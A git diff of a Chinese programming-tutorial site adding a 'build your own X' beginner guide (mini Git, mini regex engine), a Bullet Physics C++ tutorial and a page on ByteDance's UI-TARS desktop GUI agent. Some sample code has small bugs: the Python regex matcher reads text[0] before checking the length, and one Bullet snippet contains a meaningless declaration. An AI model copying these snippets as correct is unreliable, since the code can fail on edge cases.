+BYOX 按技术领域分类（见下文），每个领域下有多个语言版本。你是 JavaScript 初学者？那就从"用 JavaScript 写一个 Web 服务器"开始，不要一上来就"用 C 写一个操作系统"。
+
+## BYOX 的主要分类
+
+BYOX 涵盖的技术领域非常广，以下是从零基础学习者角度的分层建议：
+
+**入门友好（几百行代码就能完成）：**
+
+- 命令行工具（Command-Line Tool） — 写一个自己的 ls 或 grep
+- 模板引擎（Template Engine） — 写一个类似 JSX 的模板系统
+- 正则表达式引擎（Regex Engine） — 理解模式匹配的本质
+- Web 服务器（Web Server） — 用 Node.js 处理 HTTP 请求
+- Git（迷你版 Gitlet） — 理解版本控制的底层原理
+
+**中等难度（需要一定编程基础）：**
+
+- 数据库（Database） — 写一个键值存储
+- 前端框架（Front-end Framework） — 自己实现一个迷你 React
+- 神经网络（Neural Network） — 从零实现一个能识别数字的网络
+- Shell — 写一个能运行命令的终端
+
+**高阶挑战（需要系统级知识）：**
+
+- 操作系统（Operating System） — 从引导扇区开始
+- 编程语言（Programming Language） — 设计语法、写编译器
+- 虚拟机 / 模拟器（Emulator / Virtual Machine） — 模拟 Game Boy 硬件
+
+## 两个代码示例
+
+### 示例一：一个迷你版 Git（Gitlet）
+
+这个 JavaScript 实现的迷你 Git，帮你理解版本控制的核心机制：
+
+```javascript
+// 一个超简单的版本控制系统，只有 50 行核心代码
+const fs = require('fs');
+const path = require('path');
+
+class MiniGit {
+  constructor(repoPath) {
+    this.repo = repoPath;
+    this.history = [];
+    this.init();
+  }
+
+  // 初始化一个仓库 — 和 git init 一样
+  init() {
+    const dir = path.join(this.repo, '.minigit');
+    if (!fs.existsSync(dir)) {
+      fs.mkdirSync(dir);
+      console.log('初始化了空的迷你 Git 仓库');
+    }
+  }
+
+  // 提交一个快照 — 和 git commit 一样
+  commit(message) {
+    const snapshot = {
+      message: message,
+      files: this.getFileSystemSnapshot(),
+      timestamp: Date.now()
+    };
+
+    this.history.push(snapshot);
+    const file = path.join(this.repo, '.minigit', `commit-${this.history.length}`);
+    fs.writeFileSync(file, JSON.stringify(snapshot, null, 2));
+    console.log(`已提交: ${message}`);
+  }
+
+  // 获取当前文件系统的快照
+  getFileSystemSnapshot() {
+    const snapshot = {};
+    const files = fs.readdirSync(this.repo);
+    for (const file of files) {
+      if (file === '.minigit') continue;
+      const fullPath = path.join(this.repo, file);
+      if (fs.statSync(fullPath).isFile()) {
+        snapshot[file] = fs.readFileSync(fullPath, 'utf-8');
+      }
+    }
+    return snapshot;
+  }
+
+  // 查看提交历史 — 和 git log 一样
+  log() {
+    this.history.forEach((entry, index) => {
+      console.log(`[提交 #${index + 1}] ${entry.message} (${new Date(entry.timestamp).toLocaleString()})`);
+    });
+  }
+}
+
+// 使用示例：
+// const repo = new MiniGit('./my-project');
+// fs.writeFileSync('./my-project/hello.txt', '你好世界');
+// repo.commit('第一次提交');
+// fs.writeFileSync('./my-project/hello.txt', '你好世界 v2');
+// repo.commit('更新内容');
+// repo.log();
+```
+
+这段代码做的事情其实很简单：每次你运行 `commit`，它就把项目里所有文件的内容存成一个快照。这就是 Git 最核心的思想——**保存快照，而非记录差异**。
+
+### 示例二：一个迷你版正则表达式引擎
+
+正则表达式是你每天都在用的，但你可能不知道它背后的核心逻辑有多简洁：
+
+```python
+# 一个超简单的正则匹配器，只支持 .（任意字符）和 *（零次或多次）
+# 和 re 模块的 a.b*c 等价
+
+def match_here(regex, text):
+    """从当前位置尝试匹配正则表达式"""
+    if not regex:
+        return True  # 正则式匹配完了，成功
+
+    if len(regex) >= 2 and regex[1] == '*':
+        # 处理 a* 的情况：零次或多次匹配
+        char = regex[0]
+        rest = regex[2:]
+        # 尝试零次匹配
+        if match_here(rest, text):
+            return True
+        # 尝试多次匹配：只要当前字符符合，就消耗一个继续匹配
+        if (char == '.' or char == text[0]) and len(text) > 0:
+            return match_here(regex, text[1:])
+
+    # 没有 *，普通字符匹配
+    if len(text) > 0 and (regex[0] == '.' or regex[0] == text[0]):
+        return match_here(regex[1:], text[1:])
+
+    return False  # 匹配失败
+
+def match_regex(pattern, text):
+    """尝试在整个文本中匹配正则表达式"""
+    if match_here(pattern, text):
+        return True
+    # 从文本的每个位置尝试匹配
+    for i in range(len(text)):
+        if match_here(pattern, text[i+1:]):
+            return True
+    return False
+
+# 使用示例：
+# print(match_regex("a.c", "abc"))    # True — a后面任意字符再跟c
+# print(match_regex("ab*c", "ac"))    # True — b出现零次
+# print(match_regex("ab*c", "abbbc")) # True — b出现三次
+# print(match_regex("a.b*c", "aabbbc")) # True — 组合使用
+```
+
+这个 25 行的 Python 函数就是整个正则表达式引擎的核心。你可能每天都在用正则，但这段代码展示了：**正则匹配的底层就是一个递归的回溯过程**。
+
+## 给零基础学习者的建议
+
+**第一步：先学一门语言的基础语法。** 不要一上来就"造"任何东西。先用 Python 或 JavaScript 完成基础教程：变量、循环、函数、条件判断。这需要 1-2 周。
+
+**第二步：从"命令行工具"或"模板引擎"入门。** 这两个领域的教程代码量少、反馈快。你写几行代码就能看到结果，不会有挫败感。
+
+**第三步：找一个你最常用的工具，挑战自己。** 你用 Git 吗？读一读 Gitlet 的教程。你用浏览器吗？看看"从零构建浏览器"的教程。当你知道自己每天都在用什么，学习就会更有动力。
+
+**第四步：不要追求一步到位。** BYOX 的教程里有很多"一千行代码的操作系统"，但你不需要一口气写完。看懂每一步在做什么，比跑通全部代码更重要。
+
+## 总结
+
+BYOX 的价值不在于让你真的去重写一个操作系统或浏览器。它的价值在于：
+
+- 把**黑盒**变成**透明**：你不再只是工具的用户，而是理解工具如何工作
+- 把**抽象**变成**具体**：每个复杂概念都被拆成了你能理解的小步骤
+- 把**被动学习**变成**主动创造**：你不再跟着教程敲代码，而是在"造东西"
+
+费曼说得对：你能创造它，你才真正理解它。
diff --git a/src/content/docs/projects/buildah.md b/src/content/docs/projects/buildah.md
index 233fb22cd..e6c03f74f 100644
--- a/src/content/docs/projects/buildah.md
+++ b/src/content/docs/projects/buildah.md
@@ -2,7 +2,7 @@
 title: Buildah — 不要守护进程，每次构建都是一个 fork 出来的小工
 来源: https://github.com/containers/buildah
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/buildkit.md b/src/content/docs/projects/buildkit.md
index c77a331b9..1bf45fac0 100644
--- a/src/content/docs/projects/buildkit.md
+++ b/src/content/docs/projects/buildkit.md
@@ -2,7 +2,7 @@
 title: BuildKit — Docker 下一代镜像构建后端
 来源: https://github.com/moby/buildkit
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/buildroot.md b/src/content/docs/projects/buildroot.md
index e7b746d68..19810a125 100644
--- a/src/content/docs/projects/buildroot.md
+++ b/src/content/docs/projects/buildroot.md
@@ -188,11 +188,13 @@ make BR2_EXTERNAL=/path/to/my-product-layer
 - [[ansible]] —— Ansible — 无 agent 配置管理
 - [[arduino-cli]] —— Arduino CLI — 命令行驱动嵌入式全流程工具链
 - [[freertos]] —— FreeRTOS-Kernel — KB 级 RAM 跑得动的可抢占多任务内核
+- [[mender]] —— Mender — 嵌入式 Linux 的 OTA 空中升级管家
 - [[nix]] —— Nix — 函数式声明式包管理与可重复构建
 - [[nuttx]] —— Apache NuttX — POSIX 接近完整的小型实时操作系统
 - [[openwrt]] —— OpenWrt — 路由器 / 网关上的可扩展 Linux 发行版
 - [[platformio-core]] —— PlatformIO Core — 一套命令行，统管千块嵌入式开发板
 - [[probe-rs]] —— probe-rs — Rust 写的嵌入式烧录与调试工具
+- [[rauc]] —— RAUC — 嵌入式 Linux 的稳健自动更新控制器
 - [[rt-thread]] —— RT-Thread — 中文社区主导的物联网 RTOS
 - [[yocto-poky]] —— Yocto Project (poky) — 工业级嵌入式 Linux 定制构建系统
 - [[zephyr]] —— Zephyr — 一份代码树跑遍所有嵌入式芯片的开源 RTOS
diff --git a/src/content/docs/projects/bullet.md b/src/content/docs/projects/bullet.md
new file mode 100644
index 000000000..141ab19f2
--- /dev/null
+++ b/src/content/docs/projects/bullet.md
@@ -0,0 +1,281 @@
+---
+title: Bullet — C++ 经典 3D 物理引擎
+来源: 'https://github.com/bulletphysics/bullet3'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 中级
+---
+
+## 是什么
+
+**Bullet Physics**（常简称 Bullet）是一套用 **C++** 写的开源 **3D 碰撞检测与刚体/软体动力学**库，由 Erwin Coumans 发起，采用 **Zlib 许可证**，可商用、可静态链接进闭源游戏。GitHub 仓库 `bulletphysics/bullet3` 超过 1 万 star，被 Unity、Unreal、Blender、PyBullet、Gazebo 等大量项目直接或间接使用。
+
+日常类比：把 Bullet 想成**台球厅里的裁判 + 记分员**。你只管摆好球（碰撞形状、质量、初始位置），裁判每帧负责三件事——找出哪些球可能相撞（碰撞检测）、按物理规则算出新位置（积分与约束求解）、把结果写回给渲染器（MotionState / Transform）。你不需要手算抛物线或碰撞反弹，只要调用 `stepSimulation`，世界就按牛顿力学推进。
+
+Bullet 不是完整游戏引擎，而是**可嵌入的物理模块**。它不管渲染、音频、UI；只提供 `btCollisionShape`、`btRigidBody`、`btDiscreteDynamicsWorld` 等类型，以及射线检测、车辆、角色控制器、布娃娃约束等扩展。
+
+```cpp
+#include "btBulletDynamicsCommon.h"
+
+// 最小闭环：初始化世界 → 加地面和球 → 模拟 150 帧
+btDefaultCollisionConfiguration* cfg = new btDefaultCollisionConfiguration();
+btCollisionDispatcher* dispatcher = new btCollisionDispatcher(cfg);
+btBroadphaseInterface* broadphase = new btDbvtBroadphase();
+btSequentialImpulseConstraintSolver* solver = new btSequentialImpulseConstraintSolver();
+btDiscreteDynamicsWorld* world = new btDiscreteDynamicsWorld(
+    dispatcher, broadphase, solver, cfg);
+world->setGravity(btVector3(0, -10, 0));
+
+// ... 创建 btBoxShape 地面 + btSphereShape 球体，addRigidBody ...
+
+for (int i = 0; i < 150; i++) {
+  world->stepSimulation(1.f / 60.f, 10);
+}
+```
+
+上面这段与官方 `examples/HelloWorld/HelloWorld.cpp` 同构：先搭**四件套**（配置、调度器、粗检测、求解器），再建 `btDiscreteDynamicsWorld`，最后循环 `stepSimulation`。
+
+## 为什么重要
+
+不了解 Bullet，下面这些事很难讲清楚：
+
+- 为什么 Unity 的 PhysX 和许多开源引擎都能「换物理后端」——Bullet 提供了与引擎解耦的碰撞 + 动力学 API，是事实上的参考实现之一
+- 机器人仿真（PyBullet、Gazebo）为什么能在 Python 里调 C++ 物理——Bullet 有稳定的 C API 绑定与 URDF 导入示例
+- 「质量为 0」在物理引擎里代表什么——不是「没有重量」，而是**静态物体**（地面、墙），引擎不会对它积分，只把它当碰撞参考
+- 为什么游戏要分 **Fixed Timestep**（固定 1/60s）和渲染帧率——`stepSimulation` 内部可多次子步，避免大 dt 导致穿透（tunneling）
+
+## 核心要点
+
+Bullet 的刚体管线可以拆成 **世界 → 形状 → 刚体 → 步进** 四层，以及碰撞检测的三阶段。
+
+### 1. 动力学世界（Dynamics World）
+
+`btDiscreteDynamicsWorld` 是一帧仿真的总调度。每调用一次 `stepSimulation(deltaTime, maxSubSteps)`，内部大致顺序为：
+
+1. **Broadphase（粗检测）**：用 `btDbvtBroadphase` 等结构快速筛出「可能接触」的物体对，避免 O(n²) 全对全检测
+2. **Dispatcher + Narrowphase（细检测）**：对候选对做精确接触，生成 **contact manifold**（接触流形）
+3. **Constraint Solver**：解碰撞冲量、关节、摩擦、restitution（弹性），更新速度
+4. **Integration**：把线速度、角速度积分成新的位姿
+
+类比：粗检测像快递分拣中心按城市分堆；细检测像逐件开箱核对；求解器像调解员决定两辆车擦碰后各退多少。
+
+### 2. 碰撞形状（Collision Shape）≠ 刚体（Rigid Body）
+
+| 概念 | 典型类 | 职责 |
+|------|--------|------|
+| 形状 | `btBoxShape`, `btSphereShape`, `btConvexHullShape`, `btBvhTriangleMeshShape` | 纯几何，**可多个刚体共享**同一 shape 实例以省内存 |
+| 刚体 | `btRigidBody` | 质量、惯性、摩擦、restitution、速度；继承 `btCollisionObject` 的 world transform |
+
+创建动态刚体的固定套路：
+
+```cpp
+btCollisionShape* shape = new btSphereShape(1.f);
+btScalar mass = 1.f;
+btVector3 inertia(0, 0, 0);
+shape->calculateLocalInertia(mass, inertia);  // 由形状 + 质量算惯性张量
+
+btTransform start;
+start.setIdentity();
+start.setOrigin(btVector3(0, 10, 0));
+
+btDefaultMotionState* motion = new btDefaultMotionState(start);
+btRigidBody::btRigidBodyConstructionInfo info(mass, motion, shape, inertia);
+btRigidBody* body = new btRigidBody(info);
+world->addRigidBody(body);
+```
+
+**质量为 0** → 静态刚体；**质量 > 0** → 动态刚体，必须调用 `calculateLocalInertia`。Bullet 规定：**刚体的 origin 即质心**，形状设计错会导致「一边重一边轻」的诡异翻滚。
+
+### 3. MotionState：物理与渲染的桥梁
+
+`btDefaultMotionState` 保存「图形层该显示的变换」。模拟结束后从 `body->getMotionState()->getWorldTransform(trans)` 读位置，而不是每帧手改 `setWorldTransform`（除非 kinematic 物体，需同时更新 motion state，否则与动态体交互会异常）。
+
+### 4. 约束（Constraints）
+
+Bullet 支持铰链（`btHingeConstraint`）、滑块、6-DOF、布娃娃用的 cone-twist 等。约束把两个刚体的相对自由度限制住，由同一套 sequential impulse 求解器与碰撞一起迭代。
+
+### 5. 软体与扩展模块
+
+除 `BulletCollision` + `BulletDynamics` 外，还有 **BulletSoftBody**（布料、绳、可变形体）、**Bullet3** 多线程/OpenCL 实验分支、车辆 `btRaycastVehicle`、角色 `btKinematicCharacterController`。零基础先掌握刚体闭环，再按需深入。
+
+## 实践案例
+
+### 案例 1：Hello World — 球落向地面
+
+完整流程对应官方示例：地面是大 `btBoxShape`，球是 `btSphereShape`，模拟 150 帧后球稳定在地面附近。
+
+```cpp
+#include "btBulletDynamicsCommon.h"
+#include <stdio.h>
+
+int main() {
+  btDefaultCollisionConfiguration* cfg = new btDefaultCollisionConfiguration();
+  btCollisionDispatcher* dispatcher = new btCollisionDispatcher(cfg);
+  btBroadphaseInterface* broadphase = new btDbvtBroadphase();
+  btSequentialImpulseConstraintSolver* solver = new btSequentialImpulseConstraintSolver();
+  btDiscreteDynamicsWorld* world = new btDiscreteDynamicsWorld(
+      dispatcher, broadphase, solver, cfg);
+  world->setGravity(btVector3(0, -10, 0));
+
+  btAlignedObjectArray<btCollisionShape*> shapes;
+
+  // 静态地面：mass = 0
+  btCollisionShape* groundShape = new btBoxShape(btVector3(50, 50, 50));
+  shapes.push_back(groundShape);
+  btTransform groundTf;
+  groundTf.setIdentity();
+  groundTf.setOrigin(btVector3(0, -56, 0));
+  btRigidBody* ground = new btRigidBody(
+      btRigidBody::btRigidBodyConstructionInfo(
+          0.f, new btDefaultMotionState(groundTf), groundShape, btVector3(0, 0, 0)));
+  world->addRigidBody(ground);
+
+  // 动态球：mass = 1
+  btCollisionShape* sphereShape = new btSphereShape(1.f);
+  shapes.push_back(sphereShape);
+  btScalar mass = 1.f;
+  btVector3 inertia;
+  sphereShape->calculateLocalInertia(mass, inertia);
+  btTransform start;
+  start.setIdentity();
+  start.setOrigin(btVector3(2, 10, 0));
+  btRigidBody* sphere = new btRigidBody(
+      btRigidBody::btRigidBodyConstructionInfo(
+          mass, new btDefaultMotionState(start), sphereShape, inertia));
+  world->addRigidBody(sphere);
+
+  for (int i = 0; i < 150; i++) {
+    world->stepSimulation(1.f / 60.f, 10);
+    btTransform trans;
+    sphere->getMotionState()->getWorldTransform(trans);
+    btVector3 p = trans.getOrigin();
+    if (i % 30 == 0)
+      printf("t=%d  sphere y=%.3f\n", i, p.y());
+  }
+
+  // 逆序释放：body → shape → world → solver → broadphase → dispatcher → cfg
+  world->removeRigidBody(sphere);
+  delete sphere->getMotionState();
+  delete sphere;
+  // ... 同理清理 ground 与各 shape、world 组件
+  return 0;
+}
+```
+
+**要点**：`stepSimulation(1/60, 10)` 表示「目标步长 1/60 秒，最多 10 次子步」。帧率低时 Bullet 会用更小步长多次推进，减少高速物体穿模。
+
+### 案例 2：射线检测 — 从相机位置「开枪」
+
+游戏里点击选中、子弹命中、地面放置物体，都常用 **raycast**。Bullet 在 `btCollisionWorld` 上提供 `rayTest`：
+
+```cpp
+#include "LinearMath/btVector3.h"
+#include "LinearMath/btTransform.h"
+
+void shootRay(btDiscreteDynamicsWorld* world,
+              const btVector3& from, const btVector3& to) {
+  struct RayResult : public btCollisionWorld::ClosestRayResultCallback {
+    RayResult(const btVector3& a, const btVector3& b)
+        : btCollisionWorld::ClosestRayResultCallback(a, b) {}
+  } callback(from, to);
+
+  world->rayTest(from, to, callback);
+
+  if (callback.hasHit()) {
+    btVector3 hit = callback.m_hitPointWorld;
+    const btRigidBody* hitBody = btRigidBody::upcast(callback.m_collisionObject);
+    printf("hit at (%.2f, %.2f, %.2f), fraction=%.3f\n",
+           hit.x(), hit.y(), hit.z(), callback.m_closestHitFraction);
+    if (hitBody)
+      printf("  rigid body mass=%.2f\n", 1.f / hitBody->getInvMass());
+  } else {
+    printf("miss\n");
+  }
+}
+
+// 用法：从 (0,5,0) 向 -Y 发射
+shootRay(world, btVector3(0, 5, 0), btVector3(0, -100, 0));
+```
+
+**要点**：`ClosestRayResultCallback` 返回最近命中点与 `m_collisionObject`；静态体 `getInvMass()` 为 0，动态体可据此判断是否可推动。连续碰撞检测（CCD）需对 fast-moving 物体设置 `setCcdMotionThreshold` / `setCcdSweptSphereRadius`。
+
+### 案例 3：读取接触点 — 落地音效与粒子
+
+碰撞解算后，可从 `btDispatcher` 遍历 **persistent manifolds** 取接触点数量与法线，用于播放音效、生成火花：
+
+```cpp
+btManifoldResult contactPointProcessed; // 概念示意
+btDispatcher* disp = world->getDispatcher();
+int numManifolds = disp->getNumManifolds();
+
+for (int i = 0; i < numManifolds; i++) {
+  btPersistentManifold* manifold = disp->getManifoldByIndexInternal(i);
+  const btCollisionObject* obA = manifold->getBody0();
+  const btCollisionObject* obB = manifold->getBody1();
+  int numContacts = manifold->getNumContacts();
+  for (int j = 0; j < numContacts; j++) {
+    btManifoldPoint& pt = manifold->getContactPoint(j);
+    if (pt.getDistance() < 0.f) {  // 真正穿透/接触
+      btVector3 normal = pt.m_normalWorldOnB;
+      btScalar impulse = pt.getAppliedImpulse();
+      // 用 impulse 大小触发 "砰" 一声
+    }
+  }
+}
+```
+
+## 编译与集成
+
+**CMake 一键构建**（官方推荐）：
+
+```bash
+git clone https://github.com/bulletphysics/bullet3.git
+cd bullet3
+cmake -S . -B build -DBUILD_SHARED_LIBS=ON -DBUILD_BULLET3=OFF
+cmake --build build -j
+sudo cmake --install build   # 可选，装到系统前缀
+```
+
+在自己的项目里：
+
+```cmake
+find_package(Bullet REQUIRED)
+target_link_libraries(my_game BulletDynamics BulletCollision LinearMath)
+target_include_directories(my_game PRIVATE ${BULLET_INCLUDE_DIRS})
+```
+
+仓库自带 **OpenGL3 Example Browser**，编译后运行可交互查看 ragdoll、软体、车辆等 demo；每个 example 也可去掉图形单独编译，适合对照学习。
+
+## 常见坑
+
+1. **忘记共享 CollisionShape**：同一 mesh 建几百个刚体时，应复用一个 `btCollisionShape*`，否则内存和 broadphase 开销暴涨。
+2. **静态/动态质量搞反**：地面 mass 必须 0；动态体 mass 必须 > 0 且算 inertia。
+3. **Kinematic 物体睡眠**：平台、电梯需 `CF_KINEMATIC_OBJECT` + `DISABLE_DEACTIVATION`，移动时**同时**更新 `setWorldTransform` 和 `MotionState`。
+4. **单位制不统一**：Bullet 无内置「米/厘米」；1 个单位 = 1 米是常见约定，重力 `-10` 近似地球。若用厘米，重力应约为 `-980`。
+5. **三角 mesh 当动态凸体**：凹网格默认不宜做动态凸包；动态物体优先 `btConvexHullShape` 或简单 primitive，静态环境用 `btBvhTriangleMeshShape`。
+
+## 学习路径
+
+1. 读并跑通 `examples/HelloWorld/HelloWorld.cpp`（无图形）
+2. 打开 Example Browser，对照 `BasicDemo`、`RagdollDemo` 源码
+3. 加一个 hinge：两节 `btRigidBody` + `btHingeConstraint` + `addConstraint`
+4. 若做机器人：转 PyBullet 或导入 URDF（`examples/Importers/ImportURDFDemo`）
+5. 深入：阅读 [Bullet Physics Manual](https://github.com/bulletphysics/bullet3/docs/BulletPhysicsManual.pdf) 的碰撞检测与求解器章节
+
+## 与其他方案对比
+
+| 方案 | 语言 | 特点 |
+|------|------|------|
+| **Bullet** | C++ | 开源、功能全（刚体+软体+约束），嵌入成本低 |
+| **PhysX** | C++ | NVIDIA 维护，主机/PC 3A 常用，闭源（有 SDK） |
+| **Jolt Physics** | C++ | 现代 C++、多线程友好，近年游戏采用增多 |
+| **Box2D** | C | 2D 专用，结构更简单，适合平台游戏 |
+
+## 延伸阅读
+
+- 官方仓库与手册：<https://github.com/bulletphysics/bullet3>
+- Hello World 源码：<https://github.com/bulletphysics/bullet3/blob/master/examples/HelloWorld/HelloWorld.cpp>
+- 社区手册镜像：<https://cuppajoeman.github.io/bullet-physics-manual/>
+- PyBullet（Python 绑定）：<https://github.com/bulletphysics/bullet3/tree/master/examples/pybullet>
diff --git a/src/content/docs/projects/bytedance-ui-tars.md b/src/content/docs/projects/bytedance-ui-tars.md
new file mode 100644
index 000000000..3a9ff69a4
--- /dev/null
+++ b/src/content/docs/projects/bytedance-ui-tars.md
@@ -0,0 +1,232 @@
+---
+title: bytedance/UI-TARS-desktop — 多模态 AI Agent 栈
+来源: https://github.com/bytedance/UI-TARS-desktop
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 是什么
+
+UI-TARS Desktop 是字节跳动开源的一个**桌面 GUI Agent**——你用它，就像请了一个能"看见屏幕、操作鼠标键盘"的虚拟助手。
+
+日常类比：想象你有一个同事坐在你旁边，TA 能看着你的电脑屏幕，知道每个按钮长什么样、在哪，然后替你点点点。以前这种"看屏幕+动手"的能力只有人类有，UI-TARS 用 AI 模型把它做出来了。
+
+它背后有两个东西：
+
+1. **UI-TARS 模型**——一个视觉语言模型（VLM），能看懂屏幕截图，理解界面上有什么元素
+2. **Agent TARS**——一个更通用的多模态 Agent 框架，除了桌面 GUI 操作，还能控制浏览器、终端，接入 MCP 工具链
+
+这个项目 GitHub 上有 36k+ star，是目前最强的开源 GUI Agent 之一。
+
+## 为什么重要
+
+传统自动化工具（比如 Selenium、Playwright）靠"找元素 ID"来操作网页，但很多桌面应用没有这些结构化信息。UI-TARS 的思路是**让 AI 直接看屏幕截图**，像人一样理解界面，然后决定怎么操作。这带来了几个关键变化：
+
+- **不依赖 DOM 结构**——任何能看到的界面都能操作，包括 Electron 应用、原生桌面软件
+- **自然语言驱动**——你说"帮我打开 VS Code 的自动保存"，它自己去找按钮、去点击
+- **端到端闭环**——看截图 → 理解 → 决策 → 执行 → 再看截图验证，形成完整循环
+
+## 核心概念
+
+### 1. Visual Grounding（视觉定位）
+
+这是整个系统的核心。模型拿到一张屏幕截图后，要回答两个问题：**哪个像素区域是目标控件？** 和 **接下来该做什么操作？**
+
+```
+┌──────────────────────────────────────────┐
+│  屏幕截图                                 │
+│  ┌─────────────┐                         │
+│  │ [File]      │  ← 模型标注出这个区域    │
+│  │ [Edit]      │    是"File"菜单         │
+│  │ [View]      │                         │
+│  └─────────────┘                         │
+│                                          │
+│  模型输出:                                │
+│  action: click                           │
+│  coordinate: (x=45, y=20)                │
+│  reasoning: 用户想打开设置，先点 File 菜单 │
+└──────────────────────────────────────────┘
+```
+
+### 2. Agent Loop（智能体循环）
+
+UI-TARS 不是一次性完成任务，而是走一个"感知-决策-执行-再感知"的循环：
+
+```
+┌─────────┐    截图    ┌──────────┐   操作指令   ┌──────────┐
+│  观察    │ ────────→ │  推理    │ ──────────→ │  执行    │
+│ (截图)   │ ←──────── │ (VLM)    │             │ (鼠标/键)│
+└─────────┘   新截图   └──────────┘             └──────────┘
+       ↑___________________________________________↓
+                        循环直到任务完成
+```
+
+### 3. MCP 集成
+
+Agent TARS 的内核基于 MCP（Model Context Protocol），可以挂载外部工具服务器。这意味着 AI Agent 不仅能操作界面，还能调用 shell 命令、查询数据库、生成图表等真实世界的能力。
+
+## 代码示例
+
+### 示例 1：用 Agent TARS CLI 启动一个 Agent
+
+```bash
+# 直接用 npx 启动，不需要安装
+npx @agent-tars/cli@latest
+
+# 或者全局安装（需要 Node.js >= 22）
+npm install @agent-tars/cli@latest -g
+
+# 指定模型提供商运行
+agent-tars \
+  --provider volcengine \
+  --model doubao-1-5-thinking-vision-pro-250428 \
+  --apiKey your-api-key
+```
+
+启动后，你可以在聊天框里输入自然语言指令，比如"帮我查一下当前目录有哪些文件"，Agent 会自动调用 shell 命令来执行。
+
+### 示例 2：配置 MCP Server 让 Agent 拥有额外能力
+
+```json
+// agent-tars.config.json
+{
+  "mcpServers": {
+    "filesystem": {
+      "command": "npx",
+      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/jason"]
+    },
+    "postgres": {
+      "command": "npx",
+      "args": ["-y", "@modelcontextprotocol/server-postgres", "postgresql://localhost/mydb"]
+    }
+  }
+}
+```
+
+配置好后，Agent 就能通过这些 MCP Server 读写文件系统、查询数据库——不只是"看屏幕点点点"，而是真正能操作你的开发环境。
+
+### 示例 3：用 UI-TARS SDK 构建自定义 GUI Agent
+
+```typescript
+import { TARSClient } from '@ui-tars/sdk';
+
+const client = new TARSClient({
+  model: 'ByteDance/UI-TARS-1.5-7B',
+  apiKey: process.env.UI_TARS_API_KEY,
+});
+
+// 对一张截图做视觉定位
+const result = await client.predict({
+  image: 'screenshot.png',
+  prompt: '点击左上角的 File 菜单',
+  ocrPrompts: true,
+});
+
+// 返回结构化的操作指令
+console.log(result);
+// {
+//   action: 'click',
+//   coordinate: [45.2, 18.6],   // 归一化坐标 [0-100]
+//   reasoning: '用户需要打开文件菜单来新建文件...'
+// }
+```
+
+SDK 让你可以把 UI-TARS 的能力嵌入到自己的应用中，而不仅仅是在桌面客户端里用。
+
+## 架构概览
+
+```
+┌─────────────────────────────────────────────────┐
+│                  用户                            │
+│  "帮我订一张从北京到上海的机票"                   │
+└─────────────────────┬───────────────────────────┘
+                      │ 自然语言指令
+┌─────────────────────▼───────────────────────────┐
+│              Agent TARS (调度层)                 │
+│  ┌──────────┐  ┌──────────┐  ┌───────────────┐  │
+│  │ GUI Agent│  │ Browser  │  │ MCP Tools     │  │
+│  │ (桌面)   │  │ Agent    │  │ (shell/DB...) │  │
+│  └────┬─────┘  └────┬─────┘  └──────┬────────┘  │
+│       │             │               │            │
+│       └─────────────┴───────────────┘            │
+│                    │ 请求                        │
+└────────────────────┼────────────────────────────┘
+                     │
+┌────────────────────▼────────────────────────────┐
+│          UI-TARS VLM 模型                        │
+│  输入: 屏幕截图 + 任务描述                        │
+│  输出: 操作指令 (click/type/scroll/keyboard)     │
+└─────────────────────────────────────────────────┘
+```
+
+## 两种运行模式
+
+### 本地模式
+
+模型和 Agent 都在你自己的电脑上跑。优点是隐私性好、不需要联网、没有 API 费用。缺点是吃硬件——跑 UI-TARS-1.5-7B 至少需要一块不错的 GPU。
+
+### 远程模式
+
+v0.2.0 引入的功能，可以远程控制另一台电脑或浏览器。不需要在那台机器上做额外配置，点击就能连过去操作。这对远程协助和自动化测试场景很有用。
+
+## 踩过的坑
+
+1. **GPU 需求不低**——本地跑 UI-TARS-1.5-7B 需要至少 8GB 显存的 GPU，mac 上要装 MPS 支持；如果硬件不够，远程 API 是更好的选择
+2. **模型选择影响精度**——7B 参数够用但复杂界面会出错，更大的模型（如 1.5/1.6 系列）精度更高但更慢，需要根据场景权衡
+3. **OCR 辅助很重要**——纯视觉定位在某些文字密集的界面上可能偏差，开启 `ocrPrompts` 能让模型读文字内容，提升定位准确率
+4. **Agent 循环可能死循环**——如果任务描述太模糊，Agent 可能反复截图反复尝试不前进，需要设置最大步数上限
+5. **MCP Server 启动慢**——第一次启动 MCP Server 可能需要下载依赖，冷启动延迟几秒到几十秒不等
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 需要自动化操作没有 API 的桌面软件
+- 跨平台的 GUI 自动化测试
+- 帮非技术人员完成"点点点"的重复操作
+- 浏览器自动化（结合混合策略：GUI + DOM）
+
+**不适用**：
+
+- 高性能批处理——AI 推理有延迟，不适合每秒上千次的操作
+- 对确定性要求极高的场景——AI 可能偶尔犯错，关键操作需要人工确认
+- 纯后端服务——没有图形界面就不需要 GUI Agent
+
+## 历史时间线
+
+- **2025-01**：发布 UI-TARS 论文（arXiv:2501.12326），提出"用原生 Agent 做 GUI 交互"的思路
+- **2025-02**：推出 UI TARS SDK，跨平台工具包让其他人能基于它构建
+- **2025-04**：UI-TARS Desktop v0.1.0，支持 UI-TARS-1.5 模型，Agent UI 重设计
+- **2025-06**：发布 Agent TARS Beta，CLI + Web UI，引入 MCP 集成
+- **2025-06**：UI-TARS Desktop v0.2.0，增加远程电脑/浏览器操作
+- **2025-11**：Agent TARS CLI v0.3.0，流式输出、耗时统计、Event Stream 可视化
+
+## 学到什么
+
+1. **GUI 自动化的范式正在从"找元素"转向"看截图"**——UI-TARS 证明 VLM 可以直接理解界面，不再依赖 DOM 或 Accessibility Tree
+2. **Agent 不是单线程脚本**——感知-决策-执行的循环让 Agent 能处理"不知道下一步是什么"的不确定场景
+3. **MCP 是 Agent 能力的扩展器**——光会点点点不够，能调工具才是真 Agent
+4. **开源 VLM 在垂直领域已经很强**——UI-TARS 在 GUI 理解这个细分任务上，效果已经能和闭源方案竞争
+
+## 延伸阅读
+
+- 项目主页：[bytedance/UI-TARS-desktop](https://github.com/bytedance/UI-TARS-desktop)
